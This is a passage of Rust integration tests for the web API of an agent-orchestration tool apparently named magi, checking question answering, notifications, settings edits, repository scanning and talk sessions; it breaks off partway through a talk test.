13069 "waiting on the agent is not waiting on the owner"
13070 );
13071
13072 let mut q = store.get(&id).expect("get");
13076 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13077 .expect("reply");
13078 store.put(&mut q).expect("put");
13079 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13080 assert_eq!(
13081 fx.get("/api/health").await.json()["questions_needs_owner"],
13082 1,
13083 "the agent's reply is what should light the banner back up"
13084 );
13085 }
13086
13087 #[tokio::test]
13088 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13089 let fx = Fixture::start().await;
13090 let store = fx.questions();
13091
13092 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13093 let res = fx
13094 .post(
13095 &format!("/api/questions/{empty_id}/say"),
13096 Some(r#"{"body":" "}"#),
13097 )
13098 .await;
13099 assert_eq!(res.status, 400, "{}", res.body);
13100
13101 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13102 let mut answered = store.get(&answered_id).expect("get");
13103 answered
13104 .answer(Answer::Choice("SQLite".to_owned()))
13105 .expect("answer");
13106 store.put(&mut answered).expect("put");
13107 let res = fx
13108 .post(
13109 &format!("/api/questions/{answered_id}/say"),
13110 Some(r#"{"body":"still there?"}"#),
13111 )
13112 .await;
13113 assert_eq!(res.status, 409, "{}", res.body);
13114
13115 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13116 let mut abandoned = store.get(&abandoned_id).expect("get");
13117 abandoned.abandon("timed out");
13118 store.put(&mut abandoned).expect("put");
13119 let res = fx
13120 .post(
13121 &format!("/api/questions/{abandoned_id}/say"),
13122 Some(r#"{"body":"still there?"}"#),
13123 )
13124 .await;
13125 assert_eq!(res.status, 409, "{}", res.body);
13126 }
13127
13128 #[tokio::test]
13129 async fn an_answer_the_question_does_not_offer_is_refused() {
13130 let fx = Fixture::start().await;
13131 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13132 let path = format!("/api/questions/{id}/answer");
13133
13134 for body in [
13135 r#"{"choice":"Postgres"}"#,
13136 r#"{"text":"whatever you think"}"#,
13137 r#"{"choice":"Redis","text":"both"}"#,
13138 r#"{}"#,
13139 ] {
13140 let res = fx.post(&path, Some(body)).await;
13141 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13142 assert!(res.json()["error"].is_string(), "{}", res.body);
13143 }
13144 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13146 }
13147
13148 #[tokio::test]
13149 async fn a_free_text_question_takes_text_and_not_a_choice() {
13150 let fx = Fixture::start().await;
13151 let id = ask(&fx, "What should the flag be called?", &[]);
13152 fx.questions().beat(&id, ask::WaiterKind::Asker);
13153 let path = format!("/api/questions/{id}/answer");
13154
13155 assert_eq!(
13156 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13157 400
13158 );
13159 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13160 assert_eq!(res.status, 200, "{}", res.body);
13161 assert_eq!(res.json()["answer"]["text"], "--json");
13162 }
13163
13164 #[tokio::test]
13165 async fn an_unknown_question_is_a_json_404() {
13166 let fx = Fixture::start().await;
13167 let res = fx
13168 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13169 .await;
13170 assert_eq!(res.status, 404, "{}", res.body);
13171 assert!(res.json()["error"].is_string());
13172 }
13173
13174 #[tokio::test]
13175 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13176 let fx = Fixture::start().await;
13177 let questions = Questions::at(fx.home.path().join("questions"));
13178 let store = Notices::at(fx.home.path().join("notifications"));
13179 let mut q = ask::Question::new(
13180 "t1".into(),
13181 "conduct".into(),
13182 "conductor".into(),
13183 "Continue?".into(),
13184 String::new(),
13185 Vec::new(),
13186 );
13187 questions.put(&mut q).unwrap();
13188 let mut n = Notice::warn("task:t1", "Task t1 is held.");
13189 n.covered_by = Some(q.id.clone());
13190 let n = store.raise(n).unwrap();
13191 let listed = fx.get("/api/notifications").await.json();
13192 assert_eq!(listed["items"][0]["answerable_question"], q.id);
13193 questions
13194 .update(&q.id, |q| {
13195 q.abandon("run gone");
13196 Ok(())
13197 })
13198 .unwrap();
13199 let listed = fx.get("/api/notifications").await.json();
13200 assert!(listed["items"][0]["answerable_question"].is_null());
13201 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13202 assert!(
13203 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13204 .unwrap()
13205 .contains("answerable_question")
13206 );
13207 }
13208
13209 #[tokio::test]
13210 async fn notifications_list_read_dismiss_and_health_agree() {
13211 let fx = Fixture::start().await;
13212 let store = Notices::at(fx.home.path().join("notifications"));
13213 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13214 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13215
13216 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13217 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13218
13219 store
13220 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13221 .unwrap();
13222 let health = fx.get("/api/health").await.json();
13223 assert_eq!(health["notifications_unread"], 2);
13224 assert_ne!(
13225 health["notifications_rev"], rev0,
13226 "the badge must move live"
13227 );
13228
13229 let listed = fx.get("/api/notifications").await.json();
13230 assert_eq!(listed["unread"], 2);
13231 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13232 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13233
13234 let read = fx
13235 .post(&format!("/api/notifications/{}/read", a.id), None)
13236 .await;
13237 assert_eq!(read.status, 200, "{}", read.body);
13238 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13239
13240 let gone = fx
13241 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13242 .await;
13243 assert_eq!(gone.status, 200, "{}", gone.body);
13244 let listed = fx.get("/api/notifications").await.json();
13245 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13246 assert_eq!(listed["unread"], 0);
13247
13248 store.raise(Notice::info("x", "again")).unwrap();
13249 let all = fx.post("/api/notifications/read-all", None).await;
13250 assert_eq!(all.status, 200, "{}", all.body);
13251 assert_eq!(all.json()["marked"], 1);
13252 assert_eq!(
13253 fx.get("/api/health").await.json()["notifications_unread"],
13254 0
13255 );
13256
13257 let missing = fx.post("/api/notifications/nope/read", None).await;
13258 assert_eq!(missing.status, 404, "{}", missing.body);
13259 assert!(missing.json()["error"].is_string());
13260 }
13261
13262 #[tokio::test]
13269 async fn a_task_cannot_be_filed_over_the_phone_directly() {
13270 let f = Fixture::start().await;
13271
13272 let res = f
13273 .post(
13274 "/api/queue",
13275 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13276 )
13277 .await;
13278
13279 assert_eq!(
13280 res.status, 405,
13281 "POST /api/queue must not be a route: {}",
13282 res.body
13283 );
13284 assert!(
13285 f.queue().list().is_empty(),
13286 "a task filed by a route that does not exist must not reach the disk"
13287 );
13288 assert_eq!(f.get("/api/queue").await.status, 200);
13291 }
13292
13293 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13295 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13296 .expect("checkout dir");
13297 }
13298
13299 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13301
13302 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13303 let tmp = TempDir::new().expect("tempdir");
13304 let repo = tmp.path().join("repo");
13305 std::fs::create_dir_all(&repo).expect("repo dir");
13306 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13307 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13308 if let Some(text) = machine_toml {
13309 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13310 std::fs::write(&machine, text).expect("machine toml");
13311 }
13312 (tmp, repo, machine)
13313 }
13314
13315 async fn settings_checkout(path: &FsPath, text: &str) {
13316 std::fs::create_dir_all(path).unwrap();
13317 std::fs::write(path.join("magi.toml"), text).unwrap();
13318 for args in [
13319 vec!["init", "-b", "main"],
13320 vec!["add", "magi.toml"],
13321 vec![
13322 "-c",
13323 "user.name=Test",
13324 "-c",
13325 "user.email=test@example.invalid",
13326 "commit",
13327 "-m",
13328 "fixture",
13329 ],
13330 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13331 vec![
13332 "symbolic-ref",
13333 "refs/remotes/origin/HEAD",
13334 "refs/remotes/origin/main",
13335 ],
13336 ] {
13337 crate::git::git(path, &args).await.unwrap();
13338 }
13339 }
13340
13341 #[tokio::test]
13342 async fn settings_context_handlers_validate_and_save_without_a_socket() {
13343 let (tmp, repo, machine) =
13344 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13345 let root = tmp.path().join("roots");
13346 let selected = root.join("host/owner/selected");
13347 settings_checkout(
13348 &selected,
13349 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13350 )
13351 .await;
13352 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13353 let before = std::fs::read(&machine).unwrap();
13354 let ui = Arc::new(
13355 Ui::new(
13356 Queue::at(tmp.path().join("queue")),
13357 Questions::at(tmp.path().join("questions")),
13358 Talks::at(tmp.path().join("talks")),
13359 tmp.path().join("runs"),
13360 tmp.path().to_path_buf(),
13361 repo.clone(),
13362 )
13363 .with_machine_config(Some(machine.clone())),
13364 );
13365 let query = || {
13366 Query(SettingsQuery {
13367 repo: Some(selected.clone()),
13368 })
13369 };
13370 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13371 assert!(v.error.is_none(), "{:?}", v.error);
13372 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13373 assert_eq!(conductor.source, "repo");
13374 assert_eq!(
13375 conductor.machine_value,
13376 Some(toml::Value::String("a".into()))
13377 );
13378 assert!(!conductor.editable);
13379 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13380 assert_eq!(
13381 judges.count.as_ref().unwrap().machine_value,
13382 Some(toml::Value::Integer(1))
13383 );
13384 assert!(
13385 !v.roles
13386 .iter()
13387 .find(|r| r.key == "reviewers")
13388 .unwrap()
13389 .editable
13390 );
13391 let unknown = || {
13392 Query(SettingsQuery {
13393 repo: Some(tmp.path().to_path_buf()),
13394 })
13395 };
13396 assert_eq!(
13397 settings_get(State(ui.clone()), unknown())
13398 .await
13399 .unwrap_err()
13400 .status,
13401 StatusCode::UNPROCESSABLE_ENTITY
13402 );
13403 let body = || {
13404 Ok(Json(RolesBody {
13405 revision: v.revision.clone(),
13406 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13407 counts: Default::default(),
13408 }))
13409 };
13410 assert_eq!(
13411 settings_put_roles(State(ui.clone()), unknown(), body())
13412 .await
13413 .unwrap_err()
13414 .status,
13415 StatusCode::UNPROCESSABLE_ENTITY
13416 );
13417 assert_eq!(std::fs::read(&machine).unwrap(), before);
13418 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13419 .await
13420 .unwrap();
13421 assert_eq!(
13422 saved.repo,
13423 selected.canonicalize().unwrap().display().to_string()
13424 );
13425 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13426 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13427 let fresh = root.join("host/owner/fresh");
13429 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13430 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13431 .await
13432 .unwrap();
13433 assert_eq!(fresh_view.repositories.len(), 3);
13434 }
13435
13436 #[tokio::test]
13437 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13438 let (tmp, repo, machine) = settings_dirs(
13439 "[roles]\nreviewers = [\"a\"]\n",
13440 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13441 );
13442 let root = tmp.path().join("roots");
13443 let selected = root.join("host/owner/selected");
13444 settings_checkout(
13445 &selected,
13446 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13447 )
13448 .await;
13449 let broken = root.join("host/owner/broken");
13450 settings_checkout(&broken, "[roles\nbroken").await;
13451 let machine_text = format!(
13452 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13453 toml::Value::String(root.display().to_string())
13454 );
13455 std::fs::write(&machine, &machine_text).unwrap();
13456 let originals: Vec<_> = [&repo, &selected, &broken]
13457 .iter()
13458 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13459 .collect();
13460 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13461 let default = f.get("/api/settings").await.json();
13462 assert_eq!(
13463 default["repo"],
13464 repo.canonicalize().unwrap().display().to_string()
13465 );
13466 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13467 let query = format!("?repo={}", selected.display());
13468 let res = f.get(&format!("/api/settings{query}")).await;
13469 assert_eq!(res.status, 200, "{}", res.body);
13470 let v = res.json();
13471 assert!(v["error"].is_null(), "{v}");
13472 assert_eq!(v["repositories"], default["repositories"]);
13473 let role = |key: &str| {
13474 v["roles"]
13475 .as_array()
13476 .unwrap()
13477 .iter()
13478 .find(|r| r["key"] == key)
13479 .unwrap()
13480 };
13481 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13482 assert_eq!(role("advisors")["source"], "repo");
13483 assert_eq!(role("advisors")["editable"], false);
13484 assert!(role("advisors")["machine_value"].is_null());
13485 assert_eq!(role("judges")["count"]["value"], 2);
13486 assert_eq!(role("judges")["count"]["machine_value"], 1);
13487 assert_eq!(role("judges")["count"]["source"], "repo");
13488 let source = role("judges")["count"]["source_path"].as_str().unwrap();
13489 assert!(
13490 source.contains("origin/main") && !source.contains("magi/config/"),
13491 "{source}"
13492 );
13493 assert_eq!(
13494 role("reviewers")["editable"],
13495 false,
13496 "default context outside roots must protect its declarations"
13497 );
13498 let body =
13499 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13500 let unknown = format!("?repo={}", tmp.path().display());
13501 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13502 assert_eq!(
13503 f.put(&format!("/api/settings/roles{unknown}"), &body)
13504 .await
13505 .status,
13506 422
13507 );
13508 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13509 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13510 .to_string();
13511 assert_eq!(
13512 f.put(&format!("/api/settings/roles{query}"), &refuse)
13513 .await
13514 .status,
13515 422
13516 );
13517 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13518 assert_eq!(saved.status, 200, "{}", saved.body);
13519 assert_eq!(saved.json()["repo"], v["repo"]);
13520 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13521 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13522 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13523 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13524 }
13525 let error = f
13526 .get(&format!("/api/settings?repo={}", broken.display()))
13527 .await;
13528 assert_eq!(error.status, 200);
13529 assert!(error.json()["error"]["message"].is_string());
13530 assert_eq!(error.json()["repositories"], default["repositories"]);
13531 }
13532
13533 #[tokio::test]
13534 async fn settings_get_reports_sources_and_the_advisors_fallback() {
13535 let (_tmp, repo, machine) =
13536 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13537 let f = Fixture::with_repo_and_machine(repo, machine).await;
13538 let res = f.get("/api/settings").await;
13539 assert_eq!(res.status, 200, "{}", res.body);
13540 let v = res.json();
13541 assert!(v["error"].is_null(), "{v}");
13542 let role = |k: &str| {
13543 v["roles"]
13544 .as_array()
13545 .and_then(|r| r.iter().find(|x| x["key"] == k))
13546 .cloned()
13547 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13548 };
13549 assert_eq!(role("judges")["source"], "machine");
13550 assert_eq!(role("judges")["editable"], true);
13551 assert_eq!(role("implementers")["source"], "default");
13552 let adv = role("advisors");
13553 assert_eq!(adv["fallback"], "judges");
13554 assert!(
13555 adv["seats"]
13556 .as_array()
13557 .is_some_and(|s| s.iter().all(|x| x == "b")),
13558 "{adv}"
13559 );
13560 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13561 assert_eq!(v["agents"][0]["source"], "repo");
13562 }
13563
13564 #[tokio::test]
13565 async fn settings_get_reports_a_config_that_does_not_parse() {
13566 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13567 let f = Fixture::with_repo_and_machine(repo, machine).await;
13568 let res = f.get("/api/settings").await;
13569 assert_eq!(res.status, 200, "{}", res.body);
13570 let v = res.json();
13571 assert!(v["error"]["message"].is_string(), "{v}");
13572 assert!(
13573 v["error"]["path"]
13574 .as_str()
13575 .is_some_and(|p| p.ends_with("magi.toml")),
13576 "{v}"
13577 );
13578 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13579 }
13580
13581 #[tokio::test]
13582 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13583 let (_tmp, repo, machine) = settings_dirs(
13584 SETTINGS_AGENTS,
13585 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
13586 );
13587 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13588 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13589 let rev = f.get("/api/settings").await.json()["revision"]
13590 .as_str()
13591 .expect("revision")
13592 .to_owned();
13593 let body = serde_json::json!({
13594 "revision": rev,
13595 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13596 })
13597 .to_string();
13598 let res = f.put("/api/settings/roles", &body).await;
13599 assert_eq!(res.status, 200, "{}", res.body);
13600 let text = std::fs::read_to_string(&machine).expect("machine");
13601 assert_eq!(
13602 text,
13603 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13604 );
13605 assert_eq!(
13606 std::fs::read(repo.join("magi.toml")).expect("read"),
13607 repo_before
13608 );
13609 let again = f.get("/api/settings").await.json();
13610 let judges = again["roles"]
13611 .as_array()
13612 .expect("roles")
13613 .iter()
13614 .find(|r| r["key"] == "judges")
13615 .expect("judges")
13616 .clone();
13617 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13618 let stale = f.put("/api/settings/roles", &body).await;
13620 assert_eq!(stale.status, 409, "{}", stale.body);
13621 }
13622
13623 #[tokio::test]
13624 async fn settings_counts_are_reported_and_saved() {
13625 let (_tmp, repo, machine) = settings_dirs(
13626 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13627 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13628 );
13629 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13630 let v = f.get("/api/settings").await.json();
13631 let count = |v: &serde_json::Value, k: &str| {
13632 v["roles"]
13633 .as_array()
13634 .and_then(|r| r.iter().find(|x| x["key"] == k))
13635 .map(|x| x["count"].clone())
13636 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13637 };
13638 let imp = count(&v, "implementers");
13639 assert_eq!(imp["value"], 2);
13640 assert_eq!(imp["source"], "machine");
13641 assert_eq!(imp["file_key"], "candidates");
13642 assert_eq!(imp["roster_len"], 2);
13643 assert_eq!(imp["backups"], 0);
13644 assert_eq!(count(&v, "judges")["source"], "default");
13645 assert_eq!(count(&v, "advisors")["min"], 0);
13646 assert_eq!(count(&v, "reviewers")["editable"], false);
13647 assert!(
13648 count(&v, "reviewers")["locked_reason"]
13649 .as_str()
13650 .is_some_and(|m| m.contains("graph.reviewers"))
13651 );
13652 assert!(count(&v, "fixer").is_null());
13653 let rev = v["revision"].as_str().expect("revision").to_owned();
13654 let body = serde_json::json!({
13655 "revision": rev,
13656 "roles": { "judges": ["b"] },
13657 "counts": { "implementers": 1, "advisors": 0 }
13658 })
13659 .to_string();
13660 let res = f.put("/api/settings/roles", &body).await;
13661 assert_eq!(res.status, 200, "{}", res.body);
13662 let text = std::fs::read_to_string(&machine).expect("machine");
13663 assert_eq!(
13664 text,
13665 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13666 );
13667 let after = f.get("/api/settings").await.json();
13668 assert_eq!(count(&after, "implementers")["value"], 1);
13669 assert_eq!(count(&after, "implementers")["backups"], 1);
13670 assert_eq!(count(&after, "advisors")["value"], 0);
13671 let before = std::fs::read_to_string(&machine).expect("machine");
13672 let rev = after["revision"].as_str().expect("revision").to_owned();
13673 for counts in [
13674 serde_json::json!({ "judges": 0 }),
13675 serde_json::json!({ "judges": "x" }),
13676 serde_json::json!({ "judges": 2.5 }),
13677 serde_json::json!({ "judges": -1 }),
13678 serde_json::json!({ "reviewers": 3 }),
13679 serde_json::json!({ "bogus": 3 }),
13680 ] {
13681 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13682 let res = f.put("/api/settings/roles", &body).await;
13683 assert_eq!(res.status, 422, "{counts}: {}", res.body);
13684 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13685 }
13686 }
13687
13688 #[tokio::test]
13689 async fn settings_put_refuses_without_touching_the_file() {
13690 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13691 let (_tmp, repo, machine) = settings_dirs(
13692 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13693 Some(machine_text),
13694 );
13695 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13696 let rev = f.get("/api/settings").await.json()["revision"]
13697 .as_str()
13698 .expect("revision")
13699 .to_owned();
13700 for roles in [
13701 serde_json::json!({ "judges": ["nope"] }),
13702 serde_json::json!({ "reviewers": ["b"] }),
13703 serde_json::json!({ "bogus": ["a"] }),
13704 ] {
13705 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13706 let res = f.put("/api/settings/roles", &body).await;
13707 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13708 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13709 assert_eq!(
13710 std::fs::read_to_string(&machine).expect("machine"),
13711 machine_text
13712 );
13713 }
13714 }
13715
13716 #[tokio::test]
13717 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13718 let tmp = TempDir::new().expect("tempdir");
13719 let repo = tmp.path().join("repo");
13720 std::fs::create_dir_all(&repo).expect("repo dir");
13721 let root = tmp.path().join("root");
13722 make_checkout(&root, "github.com", "yukimemi", "magi");
13723 std::fs::write(
13724 repo.join("magi.toml"),
13725 format!(
13726 "[repos]\nroots = [{:?}]\n",
13727 root.to_string_lossy().into_owned()
13728 ),
13729 )
13730 .expect("write magi.toml");
13731
13732 let f = Fixture::with_repo(repo).await;
13733 let res = f.get("/api/repos").await;
13734 assert_eq!(res.status, 200, "{}", res.body);
13735 let list = res.json();
13736 let repos = list.as_array().expect("an array");
13737 assert_eq!(repos.len(), 1);
13738 assert_eq!(repos[0]["name"], "yukimemi/magi");
13739 assert!(
13740 repos[0]["path"]
13741 .as_str()
13742 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13743 "{list}"
13744 );
13745 }
13746
13747 #[tokio::test]
13748 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13749 let tmp = TempDir::new().expect("tempdir");
13750 let repo = tmp.path().join("repo");
13751 std::fs::create_dir_all(&repo).expect("repo dir");
13752 let root = tmp.path().join("root");
13753 make_checkout(&root, "github.com", "yukimemi", "magi");
13754 std::fs::write(
13755 repo.join("magi.toml"),
13756 format!(
13757 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13758 root.to_string_lossy().into_owned()
13759 ),
13760 )
13761 .expect("write magi.toml");
13762
13763 let f = Fixture::with_repo(repo).await;
13764 let first = f.get("/api/repos").await;
13765 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13766
13767 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13770 let second = f.get("/api/repos").await;
13771 assert_eq!(
13772 second.json().as_array().map(Vec::len),
13773 Some(1),
13774 "a fresh cache must not rescan inside the TTL"
13775 );
13776
13777 let refreshed = f.get("/api/repos?refresh=1").await;
13778 assert_eq!(
13779 refreshed.json().as_array().map(Vec::len),
13780 Some(2),
13781 "an explicit refresh must rescan even inside the TTL"
13782 );
13783 }
13784
13785 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13791
13792 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13796 let tmp = TempDir::new().expect("tempdir");
13797 let repo = tmp.path().join("repo");
13798 std::fs::create_dir_all(&repo).expect("repo dir");
13799 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13800 let f = Fixture::with_repo(repo.clone()).await;
13801 (tmp, repo, f)
13802 }
13803
13804 #[tokio::test]
13805 async fn posting_a_talk_with_remembered_choices_is_soft() {
13806 let (_tmp, _repo, f) = talk_fixture().await;
13807
13808 let good = f
13809 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13810 .await;
13811 assert_eq!(good.status, 201, "{}", good.body);
13812 assert_eq!(good.json()["persona"], "rei");
13813
13814 let stale = f
13816 .post(
13817 "/api/talks",
13818 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13819 )
13820 .await;
13821 assert_eq!(stale.status, 201, "{}", stale.body);
13822 let v = stale.json();
13823 assert_eq!(v["implementers"], 1);
13824 assert_ne!(v["persona"], "nobody");
13825 let typed = f
13826 .post(
13827 "/api/talks",
13828 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13829 )
13830 .await;
13831 assert_eq!(typed.status, 201, "{}", typed.body);
13832
13833 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13835 assert!(
13836 !strict.status.to_string().starts_with('2'),
13837 "{}",
13838 strict.body
13839 );
13840 }
13841
13842 #[tokio::test]
13843 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13844 let (_tmp, _repo, f) = talk_fixture().await;
13845
13846 let opened = f.post("/api/talks", None).await;
13849 assert_eq!(opened.status, 201, "{}", opened.body);
13850 let body = opened.json();
13851 assert_eq!(body["status"], "open");
13852 assert_eq!(
13853 body["turns"].as_array().unwrap().len(),
13854 0,
13855 "opening takes no agent turn: there is nothing yet to answer"
13856 );
13857
13858 let also_opened = f.post("/api/talks", Some("{}")).await;
13860 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13861
13862 let listed = f.get("/api/talks").await.json();
13863 assert_eq!(listed.as_array().unwrap().len(), 2);
13864 }
13865
13866 #[tokio::test]
13867 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13868 let tmp = TempDir::new().expect("tempdir");
13869 let repo = tmp.path().join("repo");
13870 std::fs::create_dir_all(&repo).expect("repo dir");
13871 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13872 std::fs::write(
13873 repo.join("magi.toml"),
13874 format!("{MOCK_AGENT_TOML}\n{second}"),
13875 )
13876 .expect("write magi.toml");
13877 let home = TempDir::new().expect("temp home");
13878 let talks = Talks::at(home.path().join("talks"));
13879 let ui = Arc::new(
13880 Ui::new(
13881 Queue::at(home.path().join("queue")),
13882 Questions::at(home.path().join("questions")),
13883 talks.clone(),
13884 home.path().join("runs"),
13885 home.path().to_path_buf(),
13886 repo.clone(),
13887 )
13888 .with_worktrees_root(home.path().join("wt")),
13889 );
13890 let cfg = config_for(&repo).await.expect("discover config");
13891 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13892 let id = talk.id.clone();
13893 let call = |agent: &str| {
13894 talk_agent(
13895 State(Arc::clone(&ui)),
13896 Path(id.clone()),
13897 Json(TalkAgent {
13898 agent: agent.to_owned(),
13899 }),
13900 )
13901 };
13902
13903 let unknown = call("nobody").await.expect_err("unknown agent");
13904 assert_eq!(
13905 unknown.status,
13906 StatusCode::BAD_REQUEST,
13907 "{}",
13908 unknown.message
13909 );
13910
13911 {
13912 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13915 let busy = call("second").await.expect_err("busy talk");
13916 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13917 assert!(
13918 busy.message.contains("a talk turn is running"),
13919 "{}",
13920 busy.message
13921 );
13922 drop(guard);
13923 }
13924 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13925
13926 let Json(view) = call("second").await.expect("switch");
13927 assert_eq!(view.talk.agent, "second");
13928 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13929 let saved = talks.get(&id).expect("reload");
13930 assert_eq!(saved.agent, "second");
13931 assert_eq!(saved.turns.len(), 1);
13932 assert!(!view.thinking);
13933 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13934 for agent in ["mock", "second"] {
13935 let Json(view) = call(agent).await.expect("immediate consecutive change");
13936 assert_eq!(view.talk.agent, agent);
13937 assert!(!view.thinking);
13938 assert!(!ui.is_thinking(&id));
13939 }
13940
13941 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13942 .await
13943 .expect("detail");
